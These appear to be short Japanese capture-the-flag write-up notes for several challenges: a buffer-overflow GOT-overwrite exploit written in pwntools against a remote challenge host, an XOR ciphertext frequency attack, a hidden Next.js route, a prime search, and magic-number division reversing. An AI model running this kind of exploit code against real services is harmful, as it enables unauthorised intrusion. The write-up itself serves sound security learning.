Index
fgets(name, 0x28) で name[0x10] から passwd[0x10] を越えて iov.iov_base まで壊せる。
| name[16] | passwd[16] | iov_base(8) | iov_len(8) |
^
fgetsでiov_baseまで書ける。
これと、その後の readv(STDIN_FILENO, &iov, 1) によって 16 byte の任意書き込みが可能。
strcmp@GOT を win() に差し替えれば次の strcmp(passwd, PASSWD) でシェル起動がする。
from pwn import ELF, p64, remote
elf = ELF("./chal")
io = remote("34.170.146.252", 13561)
io.send(b"A" * 0x20 + p64(elf.got["strcmp"])[:7])
io.send(p64(elf.symbols["win"]) + b"B" * 8)
io.sendline(b"cat flag*")
print(io.recvall().decode())
鍵バイトが 1..255 に限定されているのがポイント。各位置で ciphertext に一度も出ない値が平文そのものになる。
何度も Encrypted flag: を回収して、各位置の出現集合が 255 種類埋まるまで待てばよい。
seen = [set() for _ in range(flag_len)]
for cipher in many_samples:
for i, b in enumerate(cipher):
seen[i].add(b)
flag = bytes(next(iter(set(range(256)) - s)) for s in seen)
Next上でリネームされたpages/secret.js を見つける問題。
route が _buildManifest.js に残っている。
6 が 666 個連続して含まれる素数を送る問題。
素数密度から見ても十分現実的なので、"6" * 666 の末尾に小さい奇数を適当に足して isPrime を回せば見つかる。
※ 素数判定は多項式時間アルゴリズムが使われる
マジックナンバー乗算による最適の問題。
数値でググるとやっていることは各文字ごとの x // 5 と x % 7 の比較。
uint64_t y = (x * 3435973837) >> 34;
uint64_t t = (x * 613566757) >> 32;
uint64_t z = x - ((((x - t) >> 1) + t) >> 2) * 7;
if (y != table[i][0] || z != table[i][1]) {
return 1;
}